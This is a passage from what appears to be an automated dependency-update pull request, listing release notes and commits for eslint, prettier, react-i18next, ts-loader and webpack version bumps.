href=\"https://github.com/eslint/eslint/commit/5ab71d52f9d860df04e626fcd819a36257f21f9e\"\u003e\u003ccode\u003e5ab71d5\u003c/code\u003e\u003c/a\u003e refactor: clean up radix rule internals (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21015\"\u003e#21015\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a80a9a461478838930c5545f840473840b26b0e6\"\u003e\u003ccode\u003ea80a9a4\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21035\"\u003e#21035\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/7c9a02933cf1c231237babb8a7a32150ab72e263\"\u003e\u003ccode\u003e7c9a029\u003c/code\u003e\u003c/a\u003e ci: add Node.js 26 to CI (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/20847\"\u003e#20847\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/fabd99bb74eedcb950df51ec3280414ff1d68d38\"\u003e\u003ccode\u003efabd99b\u003c/code\u003e\u003c/a\u003e 10.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/37c5e75949ff2ae1f0085f547e35ce2bdf9d524d\"\u003e\u003ccode\u003e37c5e75\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/948937986f2aa3cccb27a4c80694a85e5b0a5f64\"\u003e\u003ccode\u003e9489379\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/eslintrc\u003c/code\u003e to ^3.3.6 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21076\"\u003e#21076\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/81a4774a928211bd0c01a06a1517736ece594522\"\u003e\u003ccode\u003e81a4774\u003c/code\u003e\u003c/a\u003e chore: updates for v9.39.5 release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3e7bf15e69e6d3a2c8832356bcc2e9903cc4eede\"\u003e\u003ccode\u003e3e7bf15\u003c/code\u003e\u003c/a\u003e fix: apply \u003ccode\u003eignoreClassesWithImplements\u003c/code\u003e to class expressions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21069\"\u003e#21069\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/983541491393323d17717683f6a2e6dbef4bc3f4\"\u003e\u003ccode\u003e9835414\u003c/code\u003e\u003c/a\u003e chore: enable \u003ccode\u003e$ExpectType\u003c/code\u003e annotations in all TypeScript files (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21071\"\u003e#21071\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/cf2a9bf2d982642f760370c15f1196f4658f4e27\"\u003e\u003ccode\u003ecf2a9bf\u003c/code\u003e\u003c/a\u003e feat: add errorClassNames option to preserve-caught-error rule (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21032\"\u003e#21032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/c30d80801ca561bdf65c6c3eba4ee57dced278cf\"\u003e\u003ccode\u003ec30d808\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/f8b873aae53610b80b5c1005606716e05ed3b91f\"\u003e\u003ccode\u003ef8b873a\u003c/code\u003e\u003c/a\u003e feat: max-nested-callbacks option for constructor callbacks (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21063\"\u003e#21063\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/72adf6bd214c142b38aabb4b8f6f908079c5301a\"\u003e\u003ccode\u003e72adf6b\u003c/code\u003e\u003c/a\u003e chore: restrict \u003ccode\u003emarkdownlint-cli2\u003c/code\u003e updates in renovate (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21067\"\u003e#21067\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v10.6.0...v10.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.8.4 to 3.9.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.5\u003c/h2\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.5/CHANGELOG.md#395\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular: Format \u003ccode\u003e@content(name)\u003c/code\u003e -\u0026gt; \u003ccode\u003e@content (name)\u003c/code\u003e to align with other block syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19499\"\u003e#19499\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.4/CHANGELOG.md#394\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix unexpected removal of characters in liquid syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19489\"\u003eprettier/prettier#19489\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTypeScript: Allow decorators to be used with declare on class fields (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19492\"\u003eprettier/prettier#19492\u003c/a\u003e by \u003ca href=\"https://github.com/evoactivity\"\u003e\u003ccode\u003e@​evoactivity\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.3/CHANGELOG.md#393\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCLI: Fix ignored file has been cached incorrectly (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19483\"\u003e#19483\u003c/a\u003e by \u003ca href=\"https://github.com/kovsu\"\u003e\u003ccode\u003e@​kovsu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.1/CHANGELOG.md#391\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.8.5...3.9.0\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://prettier.io/blog/2026/06/27/3.9.0\"\u003ePrettier 3.9: Major parser upgrades and Formatting improvements\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix Flow variance annotation print (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19022\"\u003e#19022\u003c/a\u003e by \u003ca href=\"https://github.com/marcoww6\"\u003e\u003ccode\u003e@​marcoww6\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.8.5/CHANGELOG.md#385\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.5\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.4...3.9.5\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Cap ordered list mark at 999,999,999 (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19351\"\u003e#19351\u003c/a\u003e by \u003ca href=\"https://github.com/tats-u\"\u003e\u003ccode\u003e@​tats-u\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eCommonMark parsers only support ordered list item numbers up to 999,999,999.\u003c/p\u003e\n\u003cp\u003eWith this change, Prettier now caps the ordered list item number at 999,999,999 to ensure that the output is correctly parsed as an ordered list by CommonMark parsers. Numbers larger than 999,999,999 are not parsed as list item numbers and are left unchanged in the output:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n999999998. text\n999999998. text\n999999998. text\n999999998. text\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n999999998. text\n999999999. text\n1000000000. text\n1000000001. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n999999998. text\n999999999. text\n999999999. text\n999999999. text\u003c/p\u003e\n\u003cp\u003e1234567890123456789012) text\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Avoid corrupting empty link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19487\"\u003e#19487\u003c/a\u003e by \u003ca href=\"https://github.com/andersk\"\u003e\u003ccode\u003e@​andersk\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eDo not remove \u003ccode\u003e\u0026lt;\u0026gt;\u003c/code\u003e from an inline link or image with an empty URL and a title, as this removal would change its interpretation.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n[link](https://github.com/prettier/prettier/blob/main/\u0026lt;\u0026gt; \u0026quot;title\u0026quot;)\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.4 --\u0026gt;\n[link](\u003ca href=\"https://github.com/prettier/prettier/blob/main/\"\u003ehttps://github.com/prettier/prettier/blob/main/\u003c/a\u003e \u0026quot;title\u0026quot;)\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.5 --\u0026gt;\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/b6c7d1806807162658fd5694d002b54b778c3756\"\u003e\u003ccode\u003eb6c7d18\u003c/code\u003e\u003c/a\u003e Release 3.9.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cd54ccc7288f2a4585ba5bf96883e2ed3b18e781\"\u003e\u003ccode\u003ecd54ccc\u003c/code\u003e\u003c/a\u003e Avoid corrupting empty Markdown link with title (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19487\"\u003e#19487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/2bb67ce8cd326dbaccbdec97e7578985f6009a14\"\u003e\u003ccode\u003e2bb67ce\u003c/code\u003e\u003c/a\u003e Preserving comments' \u003ccode\u003eplacement\u003c/code\u003e property (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19567\"\u003e#19567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/91bcac88ec1d784767ebbf5ec4686a5dbf37c3c1\"\u003e\u003ccode\u003e91bcac8\u003c/code\u003e\u003c/a\u003e Add more tests for comment-only object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19587\"\u003e#19587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cbee7377a1875686558bfc9416b789d66771d9e7\"\u003e\u003ccode\u003ecbee737\u003c/code\u003e\u003c/a\u003e Remove space in empty object type (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19583\"\u003e#19583\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/6394c732090efdf7798e0c8dc44c46583b4131c3\"\u003e\u003ccode\u003e6394c73\u003c/code\u003e\u003c/a\u003e Align empty module declaration with TS (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19568\"\u003e#19568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/a4e6f7a0264bad45f3c153773111f60a5d406d55\"\u003e\u003ccode\u003ea4e6f7a\u003c/code\u003e\u003c/a\u003e Prevent the addition of space in \u003ccode\u003etype()\u003c/code\u003e with \u003ccode\u003e+\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19516\"\u003e#19516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/3d063b57b1a2fdc660341b6e1c719e09997cc72c\"\u003e\u003ccode\u003e3d063b5\u003c/code\u003e\u003c/a\u003e Ignore dangling comments when checking type parameter comments (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19572\"\u003e#19572\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/908503e9ee02718ef0ec21a023f2c0fd5fb00603\"\u003e\u003ccode\u003e908503e\u003c/code\u003e\u003c/a\u003e Handle dangling comments in \u003ccode\u003eSwitchStatement\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19581\"\u003e#19581\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/943a475c3592149aad6062ad235338da548365ea\"\u003e\u003ccode\u003e943a475\u003c/code\u003e\u003c/a\u003e Angular: Support expression for exhaustive typechecking (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/19571\"\u003e#19571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.8.4...3.9.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-i18next` from 17.0.8 to 17.0.9\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/i18next/react-i18next/blob/master/CHANGELOG.md\"\u003ereact-i18next's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e17.0.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: allow TypeScript 7 in the optional \u003ccode\u003etypescript\u003c/code\u003e peer dependency range (\u003ccode\u003e^5 || ^6 || ^7\u003c/code\u003e). With \u003ccode\u003etypescript@7.0.2\u003c/code\u003e in a project, \u003ccode\u003enpm install\u003c/code\u003e failed with an \u003ccode\u003eERESOLVE\u003c/code\u003e peer conflict. Fixes \u003ca href=\"https://redirect.github.com/i18next/react-i18next/issues/1927\"\u003e#1927\u003c/a\u003e, thanks \u003ca href=\"https://github.com/andikapradanaarif\"\u003e\u003ccode\u003e@​andikapradanaarif\u003c/code\u003e\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003efix(types): \u003ccode\u003e\u0026lt;Trans t={t} ns=\u0026quot;ns\u0026quot; …\u0026gt;\u003c/code\u003e with a \u003ccode\u003et\u003c/code\u003e from \u003ccode\u003euseTranslation(['ns'])\u003c/code\u003e now typechecks under TypeScript 7. TS7 intersects the \u003ccode\u003eNs\u003c/code\u003e inference candidates coming from the \u003ccode\u003et\u003c/code\u003e prop (\u003ccode\u003ereadonly ['ns']\u003c/code\u003e) and the \u003ccode\u003ens\u003c/code\u003e prop (\u003ccode\u003e'ns'\u003c/code\u003e) into an unsatisfiable \u003ccode\u003e'ns' \u0026amp; readonly ['ns']\u003c/code\u003e, where TS6 resolved them. The \u003ccode\u003ens\u003c/code\u003e prop on \u003ccode\u003eTransProps\u003c/code\u003e, \u003ccode\u003eTransSelectorProps\u003c/code\u003e and \u003ccode\u003eIcuTransWithoutContextProps\u003c/code\u003e now also accepts a single namespace out of an array-typed \u003ccode\u003eNs\u003c/code\u003e (\u003ccode\u003eNs | (Ns extends readonly (infer S extends string)[] ? S : never)\u003c/code\u003e) — which matches runtime behavior and is unchanged under TS5/TS6.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/i18next/react-i18next/commit/8b4a9ea139b73309471737e5ba9c423f82d5c0cc\"\u003e\u003ccode\u003e8b4a9ea\u003c/code\u003e\u003c/a\u003e 17.0.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/i18next/react-i18next/commit/422bab13d4c9664e51c0c1025df2da37c0912075\"\u003e\u003ccode\u003e422bab1\u003c/code\u003e\u003c/a\u003e fix: support typescript 7 — widen peer range and fix Trans ns inference under...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/i18next/react-i18next/commit/6e18aa95b5ff9257b477301283819697f249ea25\"\u003e\u003ccode\u003e6e18aa9\u003c/code\u003e\u003c/a\u003e README: mention npx i18next-cli localize as the zero-to-localized path\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/i18next/react-i18next/compare/v17.0.8...v17.0.9\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ts-loader` from 9.6.0 to 9.6.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TypeStrong/ts-loader/releases\"\u003ets-loader's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev9.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TypeStrong/ts-loader/pull/1701\"\u003echore: trim runtime dependencies — remove enhanced-resolve/semver, swap micromatch → picomatch\u003c/a\u003e - thanks \u003ca href=\"https://github.com/johnnyreilly\"\u003e\u003ccode\u003e@​johnnyreilly\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eOfficially ts-loader has supported 3.6.3+ versions of TypeScript. This change means that certain scenarios with older versions of TS will now certainly fail. If anyone is actually using these versions it would be surprising.\u003c/p\u003e\n\u003ch2\u003ev9.6.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TypeStrong/ts-loader/pull/1699\"\u003efix: rspack support\u003c/a\u003e - thanks \u003ca href=\"https://github.com/johnnyreilly\"\u003e\u003ccode\u003e@​johnnyreilly\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/bhollis\"\u003e\u003ccode\u003e@​bhollis\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TypeStrong/ts-loader/blob/main/CHANGELOG.md\"\u003ets-loader's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.6.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TypeStrong/ts-loader/pull/1701\"\u003echore: trim runtime dependencies — remove enhanced-resolve/semver, swap micromatch → picomatch\u003c/a\u003e - thanks \u003ca href=\"https://github.com/johnnyreilly\"\u003e\u003ccode\u003e@​johnnyreilly\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eOfficially ts-loader has supported 3.6.3+ versions of TypeScript. This change means that certain scenarios with older versions of TS will now certainly fail. If anyone is actually using these versions it would be surprising.\u003c/p\u003e\n\u003ch2\u003e9.6.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TypeStrong/ts-loader/pull/1699\"\u003efix: rspack support\u003c/a\u003e - thanks \u003ca href=\"https://github.com/johnnyreilly\"\u003e\u003ccode\u003e@​johnnyreilly\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/bhollis\"\u003e\u003ccode\u003e@​bhollis\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TypeStrong/ts-loader/commit/b347bb7fda1ae7240e527e05c275e0485bb3978a\"\u003e\u003ccode\u003eb347bb7\u003c/code\u003e\u003c/a\u003e chore: trim runtime dependencies — remove enhanced-resolve/semver, swap micro...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TypeStrong/ts-loader/commit/32d82e6c6268f73133ef003cbfb664e765161041\"\u003e\u003ccode\u003e32d82e6\u003c/code\u003e\u003c/a\u003e fix: rspack support (\u003ca href=\"https://redirect.github.com/TypeStrong/ts-loader/issues/1699\"\u003e#1699\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TypeStrong/ts-loader/commit/6bd992eac17badde1b586487af23d20a2b85a62e\"\u003e\u003ccode\u003e6bd992e\u003c/code\u003e\u003c/a\u003e chore: Update GitHub Actions workflow for release\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/TypeStrong/ts-loader/compare/v9.6.0...v9.6.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `webpack` from 5.107.2 to 5.108.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/webpack/webpack/releases\"\u003ewebpack's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.108.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up non-CSS-Modules parsing by not building unused selector AST nodes. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21324\"\u003e#21324\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up non-CSS-Modules CSS parsing by dropping value tokens nothing reads. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21324\"\u003e#21324\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eResolve HTML asset URLs against the document \u003ccode\u003e\u0026lt;base href\u0026gt;\u003c/code\u003e. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21329\"\u003e#21329\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd HTML integration tests: generateError output, ignored src, null-char parse. (by \u003ca href=\"https://github.com/aryanraj45\"\u003e\u003ccode\u003e@​aryanraj45\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21328\"\u003e#21328\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce CPU and memory overhead of HTML and CSS parsing and code generation. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21332\"\u003e#21332\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce HTML parser memory and CPU by skipping unused AST nodes. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21323\"\u003e#21323\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eReduce HTML parser memory by storing the AST in struct-of-arrays form. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21331\"\u003e#21331\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eKey the provided-exports cache on a lazy barrel's still-lazy re-export targets. (by \u003ca href=\"https://github.com/hai-x\"\u003e\u003ccode\u003e@​hai-x\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21326\"\u003e#21326\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eDefault \u003ccode\u003eoutput.globalObject\u003c/code\u003e to \u003ccode\u003eglobalThis\u003c/code\u003e for universal targets. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21314\"\u003e#21314\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003ePass through \u003ccode\u003enew URL(...)\u003c/code\u003e directory references instead of resolving them. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21312\"\u003e#21312\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev5.108.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eSpeed up CSS parsing and reduce CSS AST node memory. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21285\"\u003e#21285\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eFix HMR codegen crash for harmony accept with unresolved imports. (by \u003ca href=\"https://github.com/xiaoxiaojx\"\u003e\u003ccode\u003e@​xiaoxiaojx\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21302\"\u003e#21302\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eMatch harmony accept dependencies by module reference so HMR codegen handles imports without a module or chunk id. (by \u003ca href=\"https://github.com/alexander-akait\"\u003e\u003ccode\u003e@​alexander-akait\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/webpack/webpack/pull/21303\"\u003e#21303\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev5.108.2\u003c/h2\u003e\n\u003ch3\u003ePatch 